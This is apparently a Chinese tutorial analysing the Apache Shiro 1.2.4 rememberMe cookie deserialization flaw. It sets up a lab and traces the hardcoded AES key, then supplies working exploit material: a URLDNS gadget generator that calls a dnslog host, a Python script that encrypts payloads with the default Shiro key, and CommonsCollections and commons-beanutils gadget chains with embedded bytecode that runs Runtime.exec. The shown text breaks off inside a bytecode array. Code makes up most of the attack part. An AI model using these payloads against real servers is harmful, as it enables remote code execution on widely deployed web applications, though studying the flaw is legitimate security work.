环境搭建
git clone https://github.com/apache/shiro
cd shiro
git checkout shiro-root-1.2.4
将 shiro/samples/web/pom.xml 中的jstl依赖改为1.2:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
点击添加配置:
添加一个tomcat服务:
在部署中选择工件:
选择这个:
最后点击启动:
搭建成功:
漏洞原理分析
我们先抓一下没有勾选Remember Me时的数据包:
再抓下勾选了Remember Me时的数据包:
我们对比一下可以发现,当我们勾选Remember Me时,服务端会给我设置一个cookie值:rememberMe=xxxx,这其实就是为了在固定时间段内下一次打开网页时我们不用再输入密码,Shiro 将一些用户信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,这样我们下次再登录的时候服务端就会对我们Cookie 中的 rememberMe的值进行解密并进行反序列化,以此来读取用户的信息。在 Shiro 1.2.4 版本之前内置了一个默认 Key,导致我们可以对Cookie 中的 rememberMe的值进行任意伪造,来触发反序列化漏洞。
我们可以看一下序列化代码的逻辑
首先在AbstractRememberMeManager.rememberIdentity中调用convertPrincipalsToBytes对进行序列化的数据进行加密,然后调用rememberSerializedIdentity进行base64编码:
convertPrincipalsToBytes加密:
rememberSerializedIdentity进行编码并返回:
我们再看一下进行反序列化代码的逻辑:
首先在AbstractRememberMeManager.getRememberedPrincipals中调用getRememberedSerializedIdentity对我们cookie中的rememberMe字段的值进行base64解码,然后调用convertBytesToPrincipals进行解密,解密后进行反序列化:
getRememberedSerializedIdentity:
convertBytesToPrincipals:
我们再跟进一下进行解密的函数看一下:
我们跟进一下 encrypt与decrypt都调用到了的getEncryptionCipherKey ,看一下能不能找到这个进行加解密的key,发现是一个常量:
最后一步一步找发现key是一个固定的值:
这里进行加解密的算法用的是aes,大家不熟悉的可以自己去跟一遍了解一下,在Shiro1.4.2 版本后,Shiro的加密模式AES-GCM,之前都是 AES-CBC
我们加解密的key找到了,我们就可以构造payload了。我这里在pom.xml里面放了cc的依赖:
我们这里先用最简单的URLDNS那条链来熟悉下攻击构造流程。
先生成下序列化的数据:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream ois = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
ois.writeObject(obj);
}
public static void main(String[] args) throws Exception{
//Gadget Chain:
//HashMap.readObject()
//HashMap.putVal()
//HashMap.hash()
//URL.hashCode()
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("http://kniyx7.dnslog.cn");
Class c= Class.forName("java.net.URL");
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,111);
hashMap.put(url,1);
field.set(url,-1);
serialize(hashMap);
// url.hashCode();
}
}
写一个加密然后编码的脚本:
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def get_file(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def encode_rememberme(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return base64_ciphertext
if __name__ == '__main__':
data = get_file("/Users/wa1ki0g/Desktop/CCun/urldns.bin")
a=encode_rememberme(data)
print(a)
生成payload:
这里有个要注意的地方就是,我们替换完我们的payload以后,要把cookie中的JSESSIONID字段删掉,要不然他是不会读我们rememberMe字段的内容的,而是直接通过JSESSIONID的值来辨认我们的身份:
我们删掉JSESSIONID然后发送一下数据包:
成功收到数据:
shiro重写反序列化函数导致的一些问题
在上面,我们使用了urldns那条链子进行测试,但是我们最终的目标是要进行rce。有人会想,既然有了反序列化的点,直接找相关依赖打不就可以了么,这其实是不行的,拿我们的cc那几条链来举例子,其实只有cc2可以打。这是为什么? 这是因为我们的shiro框架重写了反序列化的函数自定义了反序列化的方式。
分析
我们先添加完cc的依赖,随便拿一条链子出来打:
我这里拿的是cc6:
看一下日志:
其实这里就是比较奇怪的,为什么别的类都可以加载到,这个类他加载不到?我们去分析一下他进行反序列化的那里:
我们可以看到他并没有调用我们常用的ObjectInputStream的readObject方法进行反序列化,而是使用它自定义的一个对象输入流ClassResolvingObjectInputStream类的readObject方法。
我们看一下ClassResolvingObjectInputStream类,他这里就定义了两个方法,一个构造方法,一个resolveClass方法:
resolveClass方法是什么呢?了解过java的类加载机制的朋友一定都熟悉这个,在我们掉用原生jdk的反序列化方法时,会创建对象,同时也会进行类加加载,从而调用resolveClass,但是我们这里重写了resolveClass方法,那么它就会调用这个重写的resolveClass方法。我们对比一下原本的resolveClass方法与重写的resolveClass方法。
原生的:
重写的:
通过对比可以发现一个是通过Class.forName进行类加载,一个是调用了各种Classloader的loadClass方法进行加载。
可以看下forName与loadClass的一个区别:一个支持数组,一个不支持数组
所以说简单点我们只能用cc2那条链子打的原因就是shiro自定义的resolveClass方法中的loadClass方法不支持数组,而我们自己构造的那几个链子都是有transform数组类的。所以我们想要是能打通的话我们就要给他改下一下,让他不出现transform数组类。
exp构造
我们之前分析过cc的几条链子,我们看看怎么用他们拼出一个不出现数组的链。
在学习我们的cc链的时候,我们知道最后执行命令的方式,无非就是两种,一种是通过Runtime.exec,一种是通过TemplatesImpl.newTransform,要走Runtime的话,如下图,就必须要走好几个InvokerTransform这种循环调用,所以这种我们不能用。
这里的基于commons-collections3版本的exp其实就是cc2和cc3结合的半部分在加上cc6的半部分。调用顺序是这样的:
HashMap.readObject->TiedMapEnty.hashCode->LazyMap.get->InvokeTransformer.transform->TemplatesImpl.newTransform->defineClass.newInstance
因为之前分析过,所以这里就放两张图吧:
最终exp:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class shiro {
public static void main(String[] args) throws Exception{
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field clas = c.getDeclaredField("_bytecodes");
clas.setAccessible(true);
byte[] testClassBytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,56,10,0,9,0,39,8,0,40,10,0,41,0,42,8,0,43,10,0,41,0,44,7,0,45,10,0,6,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,16,76,84,101,115,116,72,101,108,108,111,87,111,114,108,100,59,1,0,3,97,98,99,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,45,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,19,84,101,115,116,72,101,108,108,111,87,111,114,108,100,46,106,97,118,97,12,0,10,0,11,1,0,5,104,101,108,108,111,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,55,0,11,1,0,14,84,101,115,116,72,101,108,108,111,87,111,114,108,100,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,8,0,9,0,0,0,0,0,5,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,8,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,1,0,12,0,0,0,45,0,1,0,1,0,0,0,3,18,2,-80,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,17,0,14,0,0,0,12,0,1,0,0,0,3,0,15,0,16,0,0,0,1,0,19,0,20,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,23,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,23,0,24,0,2,0,25,0,0,0,4,0,1,0,26,0,1,0,19,0,27,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,28,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,28,0,29,0,2,0,0,0,1,0,30,0,31,0,3,0,25,0,0,0,4,0,1,0,26,0,8,0,32,0,11,0,1,0,12,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,3,18,4,-74,0,5,87,-89,0,8,75,42,-74,0,7,-79,0,1,0,0,0,9,0,12,0,6,0,3,0,13,0,0,0,22,0,5,0,0,0,11,0,9,0,14,0,12,0,12,0,13,0,13,0,17,0,15,0,14,0,0,0,12,0,1,0,13,0,4,0,33,0,34,0,0,0,35,0,0,0,7,0,2,76,7,0,36,4,0,1,0,37,0,0,0,2,0,38};
byte[][] bytecodes = {testClassBytes};
clas.set(templates,bytecodes);
//cc2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
//cc6
Map a = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(a,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"b");
lazyMap.remove(templates);
Class cc = LazyMap.class;
Field field = cc.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,invokerTransformer);
serialize(hashMap);
}
public static void serialize(Object input) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiro.bin"));
oos.writeObject(input);
}
}
对生成的payload加密发送,成功执行命令:
shiro无依赖CB链
shiro默认是没有cc依赖的,但是存在commons-beanutils 1.8.3依赖,我们之前的那个cc库是对java中集合的一个功能增强,而这个cb是对javabean的一个增强。
什么是javaBean呢?
如图 是一个通过get方法获取JavaBean对象的属性值的例子:
利用CB库,我们可以使用更好的方法:
他这里的原理其实也是调用了我们的getAge与getName方法,因为javaBean都是有固定格式的,所以它会根据我们传进去的参数名去调用相对应的get方法。
我们之前在调试cc3的时候知道, 调用到TemplatesImpl.newTransformer是可以进行动态加载类去命令执行的。
而在TemplatesImpl类中的getOutputProperties方法中,调用到了newTransformer方法的,如图:
所以我们对一个TemplatesImpl对象调用其getOutputProperties方法,也是可以进行动态类加载进行命令执行的,我们细看getOutputProperties方法的格式,它是符合一个javaBean的格式的。
所以我们先写一个payload出来:
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
public class ShiroNoCC {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field clas = c.getDeclaredField("_bytecodes");
clas.setAccessible(true);
byte[] testClassBytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,56,10,0,9,0,39,8,0,40,10,0,41,0,42,8,0,43,10,0,41,0,44,7,0,45,10,0,6,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,16,76,84,101,115,116,72,101,108,108,111,87,111,114,108,100,59,1,0,3,97,98,99,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,45,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,19,84,101,115,116,72,101,108,108,111,87,111,114,108,100,46,106,97,118,97,12,0,10,0,11,1,0,5,104,101,108,108,111,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,55,0,11,1,0,14,84,101,115,116,72,101,108,108,111,87,111,114,108,100,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,8,0,9,0,0,0,0,0,5,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,8,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,1,0,12,0,0,0,45,0,1,0,1,0,0,0,3,18,2,-80,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,17,0,14,0,0,0,12,0,1,0,0,0,3,0,15,0,16,0,0,0,1,0,19,0,20,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,23,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,23,0,24,0,2,0,25,0,0,0,4,0,1,0,26,0,1,0,19,0,27,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,28,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,28,0,29,0,2,0,0,0,1,0,30,0,31,0,3,0,25,0,0,0,4,0,1,0,26,0,8,0,32,0,11,0,1,0,12,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,3,18,4,-74,0,5,87,-89,0,8,75,42,-74,0,7,-79,0,1,0,0,0,9,0,12,0,6,0,3,0,13,0,0,0,22,0,5,0,0,0,11,0,9,0,14,0,12,0,12,0,13,0,13,0,17,0,15,0,14,0,0,0,12,0,1,0,13,0,4,0,33,0,34,0,0,0,35,0,0,0,7,0,2,76,7,0,36,4,0,1,0,37,0,0,0,2,0,38};
byte[][] bytecodes = {testClassBytes};
clas.set(templates,bytecodes);
Field factory = c.getDeclaredField("_tfactory");
factory.setAccessible(true);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
factory.set(templates, transformerFactory);
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void serialize(Object input) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiro.bin"));
oos.writeObject(input);
}
}
是可以RCE的:
我们再来找一下,看看哪里调用了PropertyUtils.getProperty方法,最后找到了一处是在BeanComparator.compare 中,并且参数都可控。:
并且这个compore方法在我们之前学过的cc2那条链子中是用过的,所以其实这里的前半段就可以直接去用cc2那条链子的:
先简单写一个exp:
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
public class ShiroNoCC {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field clas = c.getDeclaredField("_bytecodes");
clas.setAccessible(true);
byte[] testClassBytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,56,10,0,9,0,39,8,0,40,10,0,41,0,42,8,0,43,10,0,41,0,44,7,0,45,10,0,6,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,16,76,84,101,115,116,72,101,108,108,111,87,111,114,108,100,59,1,0,3,97,98,99,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,45,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,19,84,101,115,116,72,101,108,108,111,87,111,114,108,100,46,106,97,118,97,12,0,10,0,11,1,0,5,104,101,108,108,111,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,55,0,11,1,0,14,84,101,115,116,72,101,108,108,111,87,111,114,108,100,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,8,0,9,0,0,0,0,0,5,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,8,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,1,0,12,0,0,0,45,0,1,0,1,0,0,0,3,18,2,-80,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,17,0,14,0,0,0,12,0,1,0,0,0,3,0,15,0,16,0,0,0,1,0,19,0,20,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,23,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,23,0,24,0,2,0,25,0,0,0,4,0,1,0,26,0,1,0,19,0,27,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,28,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,28,0,29,0,2,0,0,0,1,0,30,0,31,0,3,0,25,0,0,0,4,0,1,0,26,0,8,0,32,0,11,0,1,0,12,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,3,18,4,-74,0,5,87,-89,0,8,75,42,-74,0,7,-79,0,1,0,0,0,9,0,12,0,6,0,3,0,13,0,0,0,22,0,5,0,0,0,11,0,9,0,14,0,12,0,